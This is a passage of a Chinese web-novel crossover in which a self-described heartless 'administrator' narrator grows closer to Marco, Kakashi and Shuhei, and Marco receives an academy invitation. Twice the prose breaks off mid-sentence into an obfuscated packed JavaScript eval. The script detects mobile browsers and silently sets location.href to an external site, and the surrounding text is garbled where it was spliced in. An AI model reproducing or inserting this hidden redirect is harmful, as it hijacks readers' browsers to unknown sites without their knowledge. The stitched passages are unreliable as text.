他始终笑着,不断漏出口癖:“其实我很好奇yoi……你无法感受情绪,那怎么跟人交流呢?” “用技巧!” “技巧?”他愣了愣,“和人相处靠‘技巧’吗?” “嗯……” 我从书上学来很多技巧,譬如和他说要吃羊肉汤就是其中一种。 《亲密关系学》上介绍的:情感是一种柔软的东西,一段亲密关系的本质是互相展示和接受彼此的“柔软”。过度的理智会像穿上了一副冰冷的铠甲,使得双方不能靠近。所以“示弱”是任何亲密关系展开的不二法门。 但我并不知道到底应该示什么弱?我没有感情的“弱”可以展示,身为管理员,我和绝大多数人都有能力的绝对差异。 书上看来的“理论技巧”对我而言也非常难以实践。我花了很多时间才摸索出了这技巧的本质。 “……要诀是说不理智的话。”我试图和马尔科介绍我的诀窍。 “不理智的话?”他愣了愣,“什么是不理智的话?” “如果是小说里有的情形,可以参考小说;如果小说里没有,那就学小孩子说话——说一些很莫名其妙的话就好了。” “居然……是这样吗?” 我担心他知道真相后感觉被“欺骗”——虽然我没有心。 但听完我的秘诀,马尔科只是了悟一般的微笑。 “真聪明啊,难怪从前我一点都没有发现……但这种‘不理智的话’你好像没有对我说过啊?” “我说过了。” “说过吗?” “嗯……我有问你要羊肉汤!” 那晚以后,我和马尔科明显变得亲近了许多。 和亲近的人说些不理智的话,是一种“撒娇”,会拉近两人的距离——我在书上看来的“理论技巧”,已经分别在修兵和卡卡西身上实验过了,很好用,于是我也和马尔科撒娇。 “……居然是一种技巧吗?”他苦笑了声,“你的技巧是不是每次都能成功啊?” “嗯,是的。” 所以我很少用技巧,对马尔科只用过一次羊肉汤,这一次被他用真诚化解。至今都让我深感遗憾。 我不敢再这样做,在我发现马尔是个信守承诺的人以后,我不再这样。我担心那些无关现实的废话,他会花费大把的时间和精力去实现——那样就不再是拉近距离的方法,而是对他宝贵生命的浪费。 “对不起,马尔科。” “为什么要道歉?” “因为用技巧是不真诚的表现……真正的相处并不需要技巧。” “可你没有心啊!你只能用技巧,而且你用技巧的目的不是拉近距离吗?” “嗯,是的。我不知道该怎么和你相处,但又想和你变得亲近一些。” “那就没关系呀,”他拍拍我的脸,反而笑着安慰我,“如果大小姐的目的是想和我亲近一点,那就把你的技巧全部用出来吧——” 慰藉是一种感情。我无法得到真正的安慰。但我看了许多书,我知道这是一句温暖的话。 小说里常常出现,如果男主角对女主角诉说,女孩会感动地落泪。我虽然没有感动,但我会为它微笑,不由自主的微笑起来。 “马尔科……”我往前挪了挪,要靠他近一点。 “嗯?”他也轻轻地靠近我。 月光在我们之间流淌。朦胧中别有一番滋味。 它不在天边,就在眼前;不是天涯海角,是触手可及。 我从被子里钻出来,和他并肩躺着。 我们从来没有这样说过话,上一次这样躺着是他刚来的时候,那天晚上我甚至不敢动,僵硬得像一具躺在棺材里的死尸。今天不一样,窗外有星星,我们枕着同一个枕头,面面相对。 我可以看到马尔科的眼睛,干净明亮,深邃的眼窝像小池塘倒映明月星河。他的眼神沉静温和,很漂亮,比天上的星星更吸引我。 我忍不住告诉他:“其实……” “其实?” “其实我很喜欢你!” “呃……”他愣了下。 “真的!”我怕他不相信我的判断,忙解释道,“和讨厌的人在一起,只会打起来。怎么可能还一起睡觉呢?” “……唔,那倒也是,”他油然地笑了笑。 “真的!”我肯定,“最后一口羊肉汤的话,就算卡卡西抢,我也会生气的。但是马尔科,如果你想要,我可以给你喝。” “……”马尔科没有接话。 寂静中,我听到他的心跳重重地一坠,像星星“扑通”一声坠入水里,再往后的跃动时而冲上云霄,时而坠入海底……我不太懂。 但他笑着,摸着我的头,用星星月亮都沉醉的语气告之我:“傻瓜,我不会抢你的羊肉汤。” “我知道,我是说——” “不用说,我知道。” 他用拇指压住了我的嘴唇,没什么力道,但恰到好处地止住了我的话语。 这太好了。我不喜欢和人接触,不喜欢每说一句话都得另说十句解释——那很累,将使我的人生充斥辩解,而除了辩解,什么都不剩。 可没有人的人生本该是那样的,我最讨厌麻烦。马尔科能懂真的太好了。 那我们将会有更多时间去感受火与光将我们包裹。当我看着他,而他也看着我。 我不知道怎么回事,但他一直笑着,我隐约察觉到我似乎也笑了。 “你笑什么?”马尔科拨开我额前的碎发。 “我在笑吗?”我不知道,是他告诉我,“你在笑呢,大小姐——你在开心什么?” “马尔科,我没有心,也不能‘开心’。” “好吧……”他轻轻叹息,“那,大小姐为什么会笑呢?” 这是一个好问题,有助于我了解自己。 我认真地思考,眼下似乎没有什么值得微笑的事情。如果我会笑,那一定是因为他的眼睛干净而深邃,而我非常喜欢万千变化里,永恒不变的日月星辰。 我想到了答案:“因为很新奇。” “新奇?” “是的。我们以前没有这样说过话。” “嗯,是啊……之前,我都很少和你说话。” 我们之前从不这样。之前总是我睡了,而他在学习。偶尔聊天,也只是我趴在他胸口,不会像今天这样平视着彼此的眼睛。 马尔科会掖好被角,在我们之间握住了我的手。 “我在校园论坛里看到……你这样的刘海叫公主切?” “是的。” “果然是公主呢。”他轻轻地笑了笑。 “我不是公主,马尔科,我只是一个普通的管理员。我甚至没有名字。” “可是你有公主的教养,说话做事都很文雅。之前……我在海上见过很多人,伪装成王族的人一眼就会被识破,只有那种真正的王才会有特别好的教养。” 这番话在我听来略微古怪。 我没有及时答复,不确定他是否回忆起了鱼人岛的见闻,但他说的没错,尽管我认为多少有点倒果为因。 “马尔科,”我不想讨论鱼人岛如何,只是陈述自己的观点,“事实上,教养来源于教育,而教育是一种稀缺资源。” 我想说,或许他所谓的“真正的贵族”并没有什么尊贵的,只不过他们掌握了一般人无法掌握的资源,所以才有资格从容不迫。 而当世界上的所有人都平等拥有受教育的权利,那么大家都会拥有良好的教养。 所以这是环境的问题。没有个体的可比性。 一旦脱离吃不饱饭的物质匮乏期,有机会追逐精神文化的修养,那么人人都会有良好的教养——那并不是“贵族”的特有品。 “是吗……”他眼眸暗沉下去,“可我看学生们也受教育,和你也不一样?” “什么不一样呢?”我想靠他再近一点。只要我靠近一点,他的眼睛便会明亮如初。 “我也不太清楚……”马尔科笑着,轻轻揽过我,“总之,我见过真正的公主,就和你一个样……别人都不是,只有你。” “……”事实上,我不太能理解他到底在说什么,我已经说过了,我不是公主,我只是一个管理员! 但这个话题似乎没有深入讨论的必要,因为我不理解——它并不是一个理性的话题,而是充满马尔科个人“偏见”的感性产物。 感情……我是无法理解的呀,我只知道它存在,且会左右人的认知。 就像卡卡西执着于推动“大小姐优先法则”一样——卡卡西身为顶级忍者,有一流的判断力,绝不会感情用事,但就是他,也仍然会因为对我“偏袒”,提出不合理的法案。 心是一个很奇妙的东西。这个道理我很早就明白了。 他们和我不一样,他们有心。有心的人似乎没有办法长期理智,那像是一张弓,随时绷紧了弓弦。人不是机器,弦绷得太紧,有断裂的风险,而偶尔的情绪失控是一种“松绑”。 连卡卡西这样极端理智的人都需要,何况是马尔科? 我不是公主。马尔科非说我是。 这种认知本身和理智无关,纯粹是情感的宣泄。 我不再争论了。情感没有好坏,也无关对错。如果他觉得我是,我是了,又能如何? 我无法理解,但可以尊重。 今天我就做公主吧!偶尔当一次公主,似乎也不赖。 我没有见过真正的公主是怎样的,不过在马尔科的描述里……身为公主,最重要的是得有公主的修养。 “那夏天还跟公主一起去看海吗?”我把头高高地扬起。 他愣了愣,哑然失笑:“哈哈,当然了。我们不是约好了吗?等到夏天就一起去看海!这是我的荣幸。” “嗯……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028205|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我们是约好了,等到夏天就一起去看海。 所以我怎么会故意赶他走呢?他分明就誊写在我对未来的展望中。 我的未来里有马尔科。 这不是诡辩,是事实。 我没有感情,起初没有,如今或许有,但我无法感受。我完全不知道冰山之下的暗影里究竟潜藏了怎样的“自我”,我不知道真正的我有怎样的认知。 虽然我口口声声说自己没有要赶马尔科走的念头,但事实上,我并不确定自己是否真的没有这个念头。 除非证据摆在我面前,说服我,我和马尔科之间存在深厚的感情;除非证据摆在我面前,说服马尔科也说服我,我真的没有那样想。 我终于可以放心一点了——虽然我没有心。 我抱紧了马尔科:“那你不可以食言哦……” “不会的,怎么会呢,”他信誓旦旦。 “说起来,我之前专门翻看了《能力者手册》,上面写着这边的海不会排斥恶魔果实能力者?是真的么,大小姐?” “嗯,真的。” “那我也可以下水了对吗?”马尔科问我,别开生面的话语里竟然流露出了几分期待。 “是的。” “那太好了,”马尔科说,“我水性很好,那可是我为数不多的优点了。” “?” 这句话我不理解。 我看马尔科全身都是闪光点,什么叫“为数不多的优点”?他为什么要怀疑自己呢? 我至今还会因为他的温柔体贴而惊叹。 因为温柔和体贴,从来都不是生而为人便必定存在的“标配”,并不是每个人都拥有这样的“品质”。 就说那碗羊肉汤—— 那虽然是我的社交技巧,但一定程度上也反应了我真实的需求。 天气真冷。在寒冷的冬天,没有人可以抗拒一碗羊肉汤!如果马尔科不想,只可能是因为他在考虑现实。 这是无可奈何的举措,人毕竟活在现实,不得不考虑现实。 我们家的“现实”是经济状况捉襟见肘,债务危机江河日下。马尔科负责照顾我,手里捏着账单,心里一清二楚。他是非常体贴的人,会为家里着想,就算想吃也不会说,即便我提了,也不会跟着附和。 事实上,他是对的。原则上本应如此。 在经济条件不允许的前提下,想东想西只会徒增负担和累赘。面对负债累累的现实处境,我们唯一的解决措施是开源节流—— 修兵负责“开源”,其他人负责“节流”。 羊肉汤是很好,但不可以。我当然知道这个道理,只是脑袋被冻住了,控制不住胡说八道。 但那绝对是说说而已,话毕就会忘记。 所以我真的已经忘了,是马尔科还记得,会当真。 他真的很温柔,不仅对我,还有对修兵和卡卡西—— 羊肉汤绝对不能告诉修兵。 他工作努力,升职加薪是迟早的事。假使兼做新闻组主编的任务派发到修兵头上,因为家庭拮据而接受,和因为挑战自我而接受,会使性质发生截然不同的改变。 在那种麻烦的事情发生之前,要把可能性的幼苗扼杀在摇篮里。 我是这样认为的,我不知道马尔科怎么想,但看他没有告知修兵开源节流的事,至少从结果反推,他大抵有类似的考虑。即便没有,也说明他是言而有信的人。 ——言而有信,也是一个优点啊! ……马尔科究竟在想什么啊? ……他怎么能说出“为数不多的优点”这种让我头皮发麻的话? 我不以为意。但我不能再回复了。我困得睁不开眼,脑袋也迟钝不已,运转不开。 他说了很奇怪的话,对自己的认识仍不清晰。但我没有反驳他,没有那个必要。 我们的确变得更亲近了,这是他第一次告诉我他的犹豫和动摇——如果这可以被称为“犹豫”和“动摇”的话。信号是积极的,我想我没有任何必要驳斥他向我倾诉的积极性。 事实上,诸如此类纯属于个人观点的分歧,反驳或是争辩都毫无意义。 因为观点一定来源于事实。我不知道马尔科基于什么经历得出了“没有什么优点”的结论,但我知道结论也是环境中的产物,一旦换了环境,从前或许是对的,眼下却未必正确。 他分明拥有良好的自我管理能力。 如果他得出错误答案,一定是因为他得到了错误的题干,影响了他的推理。 而那些错误的已经过去,现在的情况截然不同。 这里的生活没有剧本,没有那些波澜壮阔。在真正平凡、平常的人生里,像马尔科这样全身都是优点的人,假以时日,定会发光。 所有的真理都经得起考验:是金子总会发光,事实胜于雄辩。 我想这一天很快就会到来。而在那之前…… “马尔科……” “嗯?” “……” 一位公主即将昏迷。 62.23 距离(3) 我撑不住了,不仅眼皮抬不动,大脑同样转不开。我准备了华丽的告别词,却连“晚安”两个字都来不及说,人直接昏迷过去。 万幸的是,这个周末不必早起——没有早八真是太好了!言而有信也是极好的优点! 马尔科答应了陪我睡觉,这一觉我们又睡到正中午。 等日光掩盖了月光,我在明媚的春色里睁开眼睛,马尔科就在我身边,没有看书也没有看手机,而是静静地躺着,注视着我。 阳光充盈着房间,叫黑夜无处遁形。 他注视我的眼眸像小潭一样深邃,眼波流转有如水体般清冽。在柔和的月光里,摇曳着静谧的沉醉;在跃动的日光中,闪耀着轻盈的光明。 我没有办法,我会被漂亮的事物吸引。 睡眼惺忪间,我的身体不受控制地自行凑了上去。 “唔!” 清晨的拥抱或许来得有些突然,马尔科吓了一跳。 但他并未推让和躲闪,一见我就咧开嘴笑,用温柔的语气招呼着:“哈,早哟,大小姐~” “嗯,早。” “睡得真香啊……还没有睡醒吗?” “嗯……” 我磨磨蹭蹭地点头,是的,还没有醒呢。人迷迷糊糊地尤且犯困,伸懒腰的功夫,我趴在马尔科身上“呼噜呼噜”。 之前我不知道,一直都像抱抱枕一样,老老实实地抱着他的腰睡觉;现在我知道了,他的接受度尤其高。 我不用顾忌马尔科会害羞——没有,昨晚我试验过了,他不会——抱胳膊、抱腰、搂脖子,真的如他所说,怎么抱都可以,他没有一丁点排斥的意思,相反,他还挺喜欢呢! 昨晚一搂他脖子,马尔科就偷偷笑,然后高兴得一直出口癖。 今天我抱过去,他又是这样—— “干嘛呀,大小姐?”他虽然问我,可是嘴角都咧到了耳根,“这是什么声音yoi~” “是小猫很舒服的声音yoi~” “啊,干嘛学我说话?” “学小鸟说话yoi~” 我当然是在逗他,像卡卡西从来逗我一样。我没什么幽默感,但我可以有样学样——这也是一种社交技巧,而且我很擅长。 马尔科短暂的惊愕了一阵,慢慢看出了端倪。他知道我在逗他了,忍着笑意,再不肯上当。 于是我又开始“呼噜呼噜”—— 马尔科一秒破防,“噗”的一声,哈哈笑我:“干嘛呢,怎么又发出小猫的声音呢,你是小猫吗?” 我当然不是,我告诉他:“我很舒服……” “有这么舒服吗?” “嗯!”我伸出脚,蹭着他小腿,让他体会体会什么是我的“舒服”—— “感觉到了吗?” “什么?” “被窝好暖和,舒服得脚背都会跳芭蕾了……呼呼。” “……”他没有接话,愣住了,眉头微微一挑。 我以为他没有接受到我的幽默——这是一种文学技巧,我同时用了比拟和通感的手法。我把我的人和我的脚比拟在一起;又把暖和的温度体验,通感成了对艺术和美的品鉴。 通感是一个比较高级的文学技巧。我会用,但我可解释不来。 严格来说,这不算是常规意义的幽默,而是文学的魅力。 两种事物表面毫不相关,但内核可以一致。如果能在瞬间把握住那微妙的相似点,则语言之魅力,妙不可言。 我没有办法直接拥有感情,修兵教我用通感去感受和理解。 这倒是一个好办法,但我该怎么解释呢?马尔科愣着,我也愣住了。我不困了,正要开始飞快转动大脑,却听“噗”的一声—— “……哈,大小姐!” 马尔科不是不懂,他只是被妙到了。 通感这种文学手法对他而言似乎有点过于前卫,马尔科没有接触过,头一次接触,惊为天人。他眼睛明亮得仿佛在放光,嘴上亦啧啧称道。 “你怎么会说出这种形容啊!” “很妙吧?!” “是啊,”他笑个不停,捏着我下巴左顾右盼,“你到底是吃什么长大的,怎么能可爱成这个样子?” 这个问题我也很想问,马尔科到底吃什么长大的,怎么笑起来这么有威力? 我们的小床又开始地震。我还没醒,还想趴在他颈窝里睡回笼觉,这下可真没得睡了。 好在天气倒是很好,春天到了,窗外总是飘来阵阵花香鸟语。 新生的木叶在微风中窸窣作响。袅袅炊烟里,不时传来修兵和卡卡西的声音…… “卡卡西怎么在家?”我瞬间惊醒,连忙询问马尔科。 “他在家吗?”马尔科不知道,平常应该知道的,他和卡卡西关系紧密,但今天例外。 “你睡得好香,光顾着看你睡觉,没注意看手机,”马尔科告诉我。 “……好吧。”这理由让我没有一点办法反驳。 算了,往好处想,至少说明我们越来越亲密——至于卡卡西为什么在家,只要起床问问就知道了。 我确定他在家,听动静,也没有要出门的意思。 我打了个大大的哈欠,更衣洗漱,和马尔科一起出房间。 “卡卡西!”我跑着去饭厅找他。 “喔!大小姐起床了?”卡卡西在,笑呵呵地一把接住我,“怎么了?” “对不起,我是个笨蛋。我昨天晚上才明白原来我对马尔科说了很伤感情的话,谢谢你第一时间帮我!如果没有你的帮助,我肯定一错到底,没有挽回的余地……谢谢你卡卡西!” 我实在太愚钝了,如果不是卡卡西聪明,及时发现、及时调节,我都不知道自己会闯多大的祸出来! “喔~”他懂了,摸了摸我的脑袋,以示安慰,“知错就改,为时不晚呢!” “是的,”我也这么认为,“你批评地很好,下次我做错了,也请批评我吧!” “好啊,我会的,”他点着头,却告诉我,“不过这件事其实是修兵告诉我的噢!” “修兵?”我愣住了,怎么会是修兵呢? “是修兵啊,”卡卡西讲,“你俩总是有默契,你不对劲,他老早就知道了。那天早上我还有任务,修兵给我发消息说,他急着去单位,但心里突突跳,怕你出什么事,马尔科应付不来,让我快回来看看——” 他的意思是,其实他也是得到了修兵的通知,否则也不会来得那么及时。 原来是修兵啊!我恍然大悟,那倒是说得通,卡卡西为何来去匆匆?不过倘若说得通,我就更遗憾了——修兵心里有事还能关注到我,而我对他深夜徘徊的事一无所知。 我不行!我现在、马上、立刻,要对修兵道歉! 他的声音出现在后院,我一秒也等不住,连忙往后院跑。 “……那我这边一旦发出了,就通知你。” 我刚走到院门处,那道门“吱呀”一声,自行打开了。 修兵正好进屋,我躲闪不急,被门逼倒到墙上。卡卡西和马尔科见状,双双涌到我身后,修兵堵在面前,一时间,狭窄的走道被堵得水泄不通。 “你没事吧?!”三个人异口同声。 “没事,没事。”我只是没站稳,并没有受伤。 卡卡西和马尔科联手把我从门缝里提出来。我像是荡秋千,一瞬间从走道荡到了客厅里。 之前我都没有注意,客厅里居然有人。这一转身,我左手牵着马尔科,右手拉着卡卡西,和猪扒店的老板面面相觑。 ——猪扒店的老板为什么在我们家里?! 我不理解,我大为震惊。 这时候再解释已经来不及了,他看着我们三个,神色古怪又离奇。 “……” 我已经想到他误会了,上次见面他以为卡卡西是前男友,马尔科是现男友;这下可好——我和马尔科一起从房间里出来,我径直去抱了卡卡西。 我现在才发现卡卡西刚才在倒茶水,那茶水就是在给老板续杯。 可惜我发现得太晚,眼下全无挽回之地,以我贫瘠的说话本事,又属实不知道该说什么才好。而老板也很尴尬,同我四目相对,他满脸都是震撼。 关键时候,好在有修兵替我解围,也替他解围—— “不好意思,您久等了,”修兵招呼着,端来茶水。 “呃……没有没有!”老板如梦初醒。 “我这边已经沟通过了,没有问题,一周内给您答复。届时,我仍然会通过这个号码联系您。” “呃……好的好的,谢谢您!” 我也不知道他们在聊什么,猪扒店的老板为什么会在我们家?修兵要送他走了,老板突然回身,跟我打起招呼。 “中午好,小姐!”他讪笑着,说着极其客套的话,“许久没有见到您了,一下子没有回过神来。” “嗯,中午好。” 我和他可不熟,突然的对话只让我感觉生疏与尴尬。 而他听我应答,却渐渐熟络起来,侃侃而谈。 “上次听了您的建议,我们家开始送外卖了。店里的生意一下子好了起来,这才半年时间,我家已经完全度过倒闭的危机了。真的非常感谢您……您人真好,还向修兵主编介绍我!” “……”我接不上话。 我不是,我没有,这跟我到底有什么关系? 我没有故意介绍他,昨天只是刚好卡卡西出门、刚好修兵吃饭,刚好他顺口一问,刚好我顺口一答……我哪里有介绍他?这不是巧合么? 依我看这完全是他用心打磨,排除万难,功夫到了,成功也水到渠成。 他黑白分明的眼睛泪光闪闪。我不敢说不是,他会不会哭啊? 这怎么办呢?我该说什么才好?和人打交道好难啊! 我只能看见客观事实——我不是、我没有,功过与我无关,是他自己的努力;他却投射着情感,情感无关事实,只是一种单纯的、涌动的、丰富的生命体验。 我理解不了那种热烈的生命体验,这样的交流无异于鸡同鸭讲。 怎么办,马尔科离我最近,我偷偷拽着马尔科的衣服,拜托他救救我…… “呃,那个,我还是解释一下吧——”马尔科反手扣住了我。 “啊?”老板的注意力好不容易被马尔科吸引走。 “别解释,有什么好解释的,不就是这样吗?”卡卡西忽然插嘴,笑眯眯地送老板走,生怕乱子不够大,边走边说,“看见了吧?我们家就是你想的那种关系!” “啊这……” 我不知道老板究竟是以什么样的心情走出我们家的大门。当门合上,我听见他在门口久久伫立,忘怀自己,随后那声叹息渊源悠长。 他肯定误会了,是非常严重的误会!屋里的卡卡西却笑得合不拢嘴。 “没关系,不用解释,”他振振有词,“等修兵的报道一发出,所有人都知道我们家的情况。” “……”那倒也是。 昨晚交上去的稿件,今天已经在印刷中,等到明日分派到经销商手里……最多周一,修兵是能力者的事就将闹得满城风雨。不用解释,届时猪扒店的老板自然会知道这是怎么一回事。 所以玩闹归玩闹,并不造成实质影响,反倒是因为今日的“误会”给今后的“曝光”增加一份必要性……好吧,那我知道卡卡西到底在干什么了。 这坏心眼的白毛狐狸平常老喜欢捉弄我。即便是我也会下意识地认为他又在捉弄人。 然而今天还真不是。依我对卡卡西的了解——天才的大脑讲究高效,他不会平白无故地去做一件事,也从来不是乱来的人——如果他这样做一定有他的道理,我思来想去,这“道理”或许是因为修兵。 卡卡西似乎是在运用底线思维,给修兵“上保险”。 这真是一个漂亮的活用,我后知后觉—— 事已至此,落子无悔。一天后,“修兵是能力者”这一爆炸性新闻即将公布。我们无法预料未来的情况,但这一闹,起码在那纯粹的未知里,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045655|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点点“已知”的成分。 好消息,不管事情坏成什么样,起码有一点“好”——我们被误会了,消息的公布能替我们证明真身! 虽然方式有点过分骇人听闻,但这对修兵来说,即便是苦中作乐,也总归是一点慰藉。 那一点慰藉就够了。 我看修兵云淡风轻地勾了勾嘴角。 卡卡西没那回事般挑了挑眉,了然一笑。 “都愣着干嘛?吃饭吃饭!” “好诶,吃饭吃饭!” 猪扒店的老板都出现在了家里,今日午饭当然是猪扒饭! 各色小吃铺在餐桌上,五颜六色,琳琅满目。 我和卡卡西闲话:“真好,昨天你都没有吃到!” “是啊,”他笑眯眯地答,“所以今天一大早,修兵就打电话订餐,说什么也要让我吃上才行!” “今天是修兵请客?” “是啊!” 难怪这么丰富。那我要和修兵讲:“谢谢修兵,你真好!” “谢谢修兵,你真好!”卡卡西学我说话。 “谢谢修兵,你真好!”马尔科也学我说话。 “……”修兵一愣,眼神从我们身上飘过,欲说还休。 他又害羞了,每次害羞都这样,我们在说东,而他话锋一转,冷不丁说起了西—— “咳,你们这个号码是老板的。” “什么?” “马尔科手上的号码是老板的,”修兵说,“现在店里跑外卖业务的是老板的儿子——所以只要电话一响,他就知道是那位‘幸运的小姐’。” “!” 原来如此。 我和马尔科不由得交换起眼神。难怪呢,昨天马尔科还问我这件事——我不知道啊,我和老板不熟,对此一无所知。 全靠修兵告诉我们真相:“今天电话一打过去,老板知道是你,原本在休假,赶紧过来了——否则还采访不上。” “什么意思?”我听不懂,“为什么会采访不上?” “就是说……”修兵给我解释,不厌其烦地说明。 “你的建议很好,老板参考了你的建议,将送餐点定在了学校。但这个周末学校里有活动,今天开始办事处进场、附近的交通也开始管制,他们不能送餐,正准备休息几天,一听到我们家点餐,赶紧过来了。” “如若不然,按照他们家现在的流量情况……店里人手不够,老板没有时间接受采访。” “哦,”我明白了,“一言以蔽之,阴差阳错,因祸得福!” 修兵拧着眉:“你真的明白了吗?” “?”那不然呢? 我明不明白又无所谓,甚至他误不误会也无所谓——我和老板又不熟。萍水相逢,管他呢。 不过办事处为什么要进场?我不理解。 原则上,办事处的一切行动都被要求在尽可能少地影响正常生活的前提下进行。涉及交通管制,必存在安保问题。卡卡西昨天还说接了个大任务,想必就是这一件了。 我目光扫过他,他没有作声,是默认的意思。 “你昨天说学校要开什么会?”我问马尔科。 “嗯,有个专题讲座。”他回答道。 “什么讲座?”最近一周我没怎么去学校,倍感茫然。 “呃……”马尔科拿出手机,读了读他得到的通知。 “……最高科学院下属‘生命医学院’将在周末,于我校举办‘沧海拾珠’系列讲座。” 他话音未落,修兵的筷子落了,我的勺子落了。 寥寥数语,惊得桌上一片瞠目结舌。 “什、什么?最高科学院?”修兵目瞪口呆,“那可是各行业里顶级专家群龙会首的地方啊!” “呃,是吗?”马尔科反应平平。 ——但他怎么能反应平平呢?! 修兵惊了!我也惊了! 最高科学院下属的生命医学院即将在学校里召开“沧海遗珠”系列讲座——“沧海遗珠”,一听就是人才选拔计划的一环。 社会发展离不开人才。人才选拔是办事处□□安身立命的保留项目。不是年年有,除非有重点观察对象,才会突然来上一次。 马尔科运气真好,来的第一年就撞见了! 最高科学院的前身是办事处牵头组建的“高精尖人才中心”,内里一如修兵所言,群英荟萃,卓尔不凡。其下属的生命医学院也自然是医学界最为权威的存在——神仙下凡莅临指导,机会只可遇不可求。 我和修兵都不免为之振奋,而马尔科非但没有激情燃烧,反倒一脸的风平浪静。 这反应未免太过匪夷所思。 我不理解,歪着头看修兵,试图从他那里得出一点讯息。 “……等下,不太对劲,”修兵突然皱眉,“最高科学院里的专家们外出巡查,办事处派出最高级别的安保,封路、封校都在情理之中——” 卡卡西没出声,是默认的意思。 修兵话锋一转:“但办事处的行动并不对外公开,普通媒体都没有资格去采访,你怎么会有这条通知?” “对,你为什么知道?”我也很好奇。 这件事修兵不知道,我也不知道。如果不是卡卡西接了任务,按照办事处一贯的保密作风,他也不会知道。而且卡卡西就算知道了,也会严格遵守保密协定,不会告诉我们。 学校的学生们也不知道——但凡他们知道了,一传十、十传百,猪排店的老板就应该知道。那么他的措辞应该是“最高科学院的专家到学校来了”,而不是“学校有活动”。 神仙下凡毕竟少见,但凡走漏风声,必然会成为当地茶余饭后的谈资。 所以事实上,除了直接参与安保的卡卡西,没有任何人知道这件事。 那么马尔科是怎么知道的呢? 这太古怪了。我们盯住了他,要他给出一个合理的解释。 “呃……” 马尔科交出了手机。上面赫然写着三个大字——邀请函。 63.23 距离(4) 时间停止了。 邀请函——当这三个字赫然出现,一瞬间整个世界万籁俱寂。 餐具不再作用,话语不再传递;路口边的纷争、饭厅里的欢聚……什么都没有,什么都不再动作。任凭挂钟的指针“滴答”作响,宣告着时间的流动从来不为任何人停止。但时间仍然停止了,连同呼吸一起暂停。 家里徒留些下巴落地的“哐当”声响。 “怎、怎么了?”马尔科居然问我们。 “怎么了?!”这问题分明是我们要问他! “马尔科,”我不理解,“这是什么时候的事,你怎么没有告诉我呢?” “啊?”他一脸茫然,连忙解释,“没有不告诉你,我突然收到的通知……太突然了,没打算去。” “!”什么,邀请函发到了他手上,他说他不打算去?! 天呐!我不是笨蛋,马尔科才是!他是宇宙无敌超级大笨蛋! 人往高处走,水往低处流。上好的机会找上门来,怎么会有人把它拒之门外? 他解释得很好,但我更不理解了! “……不去也没有什么关系吧?”马尔科侃侃而谈。 “……”回应他的唯有一片死寂。 不去当然可以,但为什么啊?这种事我不理解,不仅是我,修兵和卡卡西都不理解。 家里有明文规定:按时吃饭,天塌下来也不能耽搁吃饭。规定之所以制定,是为了遵守;但现在的情况是我们仨面面相觑,瞠目结舌、食不知味。 这饭还怎么吃? 我放下了刀叉,修兵和卡卡西非但没有制止我,反而破天荒地与我一道停止了用餐。 我们问马尔科:“为什么?” “啊?”他一愣,反问我们,“什么‘为什么’?” “……”他把我问住了。我一时嘴笨,说不出话,连忙求助修兵。 修兵接过我的话茬,替我表达道:“马尔科,你知道最高科学院是什么地方吗?” 他一知半解,摇着头:“是……什么?” 修兵抄起手来,郑重其事道:“办事处下属有六个部门,其中□□、建设部、财政部,与民生直接相关,普通人也能接触;最高科学院就是□□牵头打造的顶级智库——” “智库?” “对,”修兵说,“你有发现《当代医学》上,你的名字后面有个‘C’吗?” “噢……是有。那是什么意思?” “这种权威性的刊物,会把作者分为ABCD四类。A类是最高科学院的在职人员,本身就是各行业的权威人物,他们的文章可以直接引用,你可以看到论文库里都是他们的研究;B类是不在最高科学院就职,但为行业尖峰人物,说话也极有分量;你上次被归于为C类……啊!” 话说一半,修兵戛然而止,猛一拍桌,如梦初醒:“对啊!上次我就觉得奇怪,你怎么会是C类呢?原来那时候就‘破格’了啊——” “破格?”马尔科皱眉,“什么意思?” “破格,是指你超越了原本的作者分级标准——譬如说,第一次发表文章,属于一般作者,D类,这类作者发表刊物有偶然性,单篇文章好并不代表作者的水平高;而发刊量达到一定的标准后,可以升级为C类,属于优质作者,作者本身有一定的创作水准;而C类再往上积累,则为B类,行业尖峰,在某个领域有显著影响力……而你第一次露面就是C类,意味着你出道的水准已经远超平均水平。” “呃……可是我一直是C类啊?” “对啊,不仅文章质量高、输出频率也高,这种属于万里挑一的天赋型作者,难怪惊动了最高科学院!” …… 修兵总编的眼光老道又毒辣,一眼便勘破了要点所在,一番分析有如醍醐灌顶,不禁叫我拍案叫绝。 我连忙请教他:“那这么说,很大概率是奔着马尔科来的?” 修兵狠狠赞同:“我觉得是。” 好的。如果他觉得是,那我想这大抵就是了。 佐证是卡卡西一言不发——他了解实情,本可以反对,而他没有,那么不反对就是他的意见。 所以破案了! “沧海遗珠”是人才选拔,邀请函既然发到马尔科手上,最高科学院下属的生命科学院就是为考核马尔科而来! 马尔科的手机邮箱也证明了这一点—— 春节期间,《当代医学》杂志社发来前文提要,说明年后生命科学院会联系他;然后迎来了这份邀请函,他用校园邮箱投稿,邀请函也发在他校园账号上,没有走办事处的系统,所以我一无所知。 但我一直都知道是金子总会发光的,这一天一定不会太远! 我没有想到它来得如此迅猛,昨天闭眼还在琢磨“事实胜于雄辩”,今天睁眼,机会从天而降! “马尔科!” “……啊?” 他为什么不去呢?他得去啊,最高科学院可是为他而来! 